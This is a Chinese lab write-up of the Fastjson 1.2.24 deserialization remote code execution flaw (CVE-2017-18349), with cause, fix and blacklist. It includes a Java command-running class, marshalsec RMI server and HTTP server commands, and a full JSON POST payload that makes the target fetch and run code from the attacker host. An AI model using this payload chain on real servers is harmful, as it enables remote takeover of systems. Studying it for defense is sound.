FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)

FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349),第1张

FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)

#FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)#

一、漏洞简介

Pippo是一款基于Java的Web框架。FastjsonEngine是其中的一个JSON处理引擎。Fastjson是其中的一个基于Java的JSON解析器/生成器。 Pippo 1.11.0版本中的FastjsonEngine所使用的Fastjson 1.2.25之前版本的parseObject存在安全漏洞。利用fastjson autotype在处理json对象时,未对@type字段进行安全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。

二、漏洞影响

影响版本

Fastjson<1.2.25

三、产生原因

@type属性:Fastjson支持在json数据中使用@type属性,该json数据会被反序列化成指定的对象类型,在反序列化过程中fastjson会调用parse(jsonStr)函数尝试对对象的属性进行赋值,若对象的javabean存在属性的setter方法则调用set方法,反之调用get方法。

TemplatesImpl中存在一个反序列化利用链,在反序列化过程中,如果该类的getOutputProperties()方法被调用,即可成功触发代码执行漏洞。

TemplatesImpl类_outputProperties成员变量的getter方法满足被调用条件。无论通过fastjson哪种方式解析json字符串,都会触发getOutputProperties()方法。

由此可见:FastJson在反序列化TemplatesImpl类时会恰好触发TemplatesImpl类的getOutputProperties()方法;TemplatesImpl类的getOutputProperties()方法被触发就会引起反序列化代码执行漏洞。

四、复现过程

docker 靶机:192.168.111.137

攻击机 kali:192.168.111.136

靶场环境:FastJson 1.2.24

环境搭建好后访问192.168.111.137:8090,显示页面如下:

exp:

先将需要执行的java代码编译成class字节码文件,供靶机远程调用

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

使用Java反序列化利用工具marshalsec辅助开启RMI环境

marshalsec:

git clone https://github.com/mbechler/marshalsec

maven:

apt-get install maven

借助marshalsec项目,启动一个RMI服务器,监听端口,并制定加载远程类TouchFile.class,执行:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.136:1234/#TouchFile" 9999

开启http服务:

python -m SimpleHTTPServer 1234

发送POC,反dshell

POST / HTTP/1.1
Host: 192.168.111.137:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 167

{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://192.168.111.136:9999/TouchFile",

        "autoCommit":true

    }

}

运行payload,成功后,服务端响应码500。

在监听端口查看到已建立连接。

进入靶机查看命令是否执行成功,输入命令进入FastJson环境容器执行bash:

查看容器id

docker ps

执行以下命令查看远程命令是否被执行:

docker exec -it 01d4680e6d12 /bin/bash

success已被创建,复现成功。

复现过程中遇到的坑:JDK版本问题。

由于jdk:8u102没有com.sun.jndi.rmi.object.trustURLCodebase的限制,改为jdk:8u102或以下版本后复现成功。

五、修复方案

在fastjson的官方补丁中,将loadClass(typeName, config.getDefaultClassLoader())替换为了config.checkAutoType(typeName),并且扩充了黑名单列表,将传入的类名与黑名单一一比较,如果发现了相同开头的类就停止反序列化。

// 新增的黑名单
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

可以看到绝大部分常用的类都已经被加进来了,但是如果不经常维护此名单,一旦后面出现了新的可以利用的类,很容易就绕过这个限制。

六、参考链接

Fastjson1.2.24漏洞复现详细过程

fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤

marshalsec下载地址

标签

CVE-2017-18349、FastJson、反序列化、命令执行

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/4829437.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-11-10
下一篇 2022-11-10

发表评论

登录后才能评论

评论列表(0条)

保存